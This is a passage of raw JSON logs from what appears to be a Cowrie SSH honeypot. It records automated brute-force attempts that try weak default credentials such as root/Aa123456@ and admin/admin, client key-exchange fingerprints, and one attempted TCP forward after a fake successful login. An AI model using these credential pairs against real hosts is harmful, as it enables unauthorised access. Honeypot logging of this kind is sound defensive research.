","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:31.576060Z","src_ip":"172.237.20.62","session":"9ad20e394f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:32.076112Z","src_ip":"172.237.20.62","session":"9ad20e394f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:33.238249Z","src_ip":"172.237.20.62","session":"9ad20e394f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43746,"dst_ip":"159.203.135.109","dst_port":22,"session":"d472bc02832f","protocol":"ssh","message":"New connection: 172.237.20.62:43746 (159.203.135.109:22) [session: d472bc02832f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:42.151345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:42.155770Z","src_ip":"172.237.20.62","session":"d472bc02832f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:42.315068Z","src_ip":"172.237.20.62","session":"d472bc02832f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:42.858874Z","src_ip":"172.237.20.62","session":"d472bc02832f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:44.022719Z","src_ip":"172.237.20.62","session":"d472bc02832f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57272,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7e4f5da54bc","protocol":"ssh","message":"New connection: 172.237.20.62:57272 (159.203.135.109:22) [session: a7e4f5da54bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:53.023093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:53.027668Z","src_ip":"172.237.20.62","session":"a7e4f5da54bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:53.192936Z","src_ip":"172.237.20.62","session":"a7e4f5da54bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:53.724246Z","src_ip":"172.237.20.62","session":"a7e4f5da54bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1122,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65512ea4c51","protocol":"ssh","message":"New connection: 87.251.64.176:1122 (10.17.0.5:22) [session: b65512ea4c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:53.765984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:53.771096Z","src_ip":"87.251.64.176","session":"b65512ea4c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:53.867629Z","src_ip":"87.251.64.176","session":"b65512ea4c51","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:54.156544Z","src_ip":"87.251.64.176","session":"b65512ea4c51","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:54.255348Z","session":"b65512ea4c51","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:54.353182Z","src_ip":"87.251.64.176","session":"b65512ea4c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:54.451634Z","src_ip":"87.251.64.176","session":"b65512ea4c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:22:54.888653Z","src_ip":"172.237.20.62","session":"a7e4f5da54bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43836,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d6b6fbb1db8","protocol":"ssh","message":"New connection: 172.237.20.62:43836 (159.203.135.109:22) [session: 3d6b6fbb1db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:03.957354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:03.961570Z","src_ip":"172.237.20.62","session":"3d6b6fbb1db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:04.120868Z","src_ip":"172.237.20.62","session":"3d6b6fbb1db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:04.598287Z","src_ip":"172.237.20.62","session":"3d6b6fbb1db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:05.760886Z","src_ip":"172.237.20.62","session":"3d6b6fbb1db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53580,"dst_ip":"159.203.135.109","dst_port":22,"session":"36ac7eb8adcf","protocol":"ssh","message":"New connection: 172.237.20.62:53580 (159.203.135.109:22) [session: 36ac7eb8adcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:14.770577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:14.775571Z","src_ip":"172.237.20.62","session":"36ac7eb8adcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:14.935577Z","src_ip":"172.237.20.62","session":"36ac7eb8adcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:15.429353Z","src_ip":"172.237.20.62","session":"36ac7eb8adcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:16.595601Z","src_ip":"172.237.20.62","session":"36ac7eb8adcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58740,"dst_ip":"159.203.135.109","dst_port":22,"session":"a65b58f1a833","protocol":"ssh","message":"New connection: 172.237.20.62:58740 (159.203.135.109:22) [session: a65b58f1a833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:25.628598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:25.633608Z","src_ip":"172.237.20.62","session":"a65b58f1a833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:25.792745Z","src_ip":"172.237.20.62","session":"a65b58f1a833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:26.337392Z","src_ip":"172.237.20.62","session":"a65b58f1a833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:27.499418Z","src_ip":"172.237.20.62","session":"a65b58f1a833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59626,"dst_ip":"159.203.135.109","dst_port":22,"session":"91e8a7fb61b6","protocol":"ssh","message":"New connection: 172.237.20.62:59626 (159.203.135.109:22) [session: 91e8a7fb61b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:36.757667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:36.762001Z","src_ip":"172.237.20.62","session":"91e8a7fb61b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:36.924791Z","src_ip":"172.237.20.62","session":"91e8a7fb61b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:37.430303Z","src_ip":"172.237.20.62","session":"91e8a7fb61b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:38.591930Z","src_ip":"172.237.20.62","session":"91e8a7fb61b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36214,"dst_ip":"159.203.135.109","dst_port":22,"session":"163997a5d8d2","protocol":"ssh","message":"New connection: 172.237.20.62:36214 (159.203.135.109:22) [session: 163997a5d8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:47.705609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:47.710155Z","src_ip":"172.237.20.62","session":"163997a5d8d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"la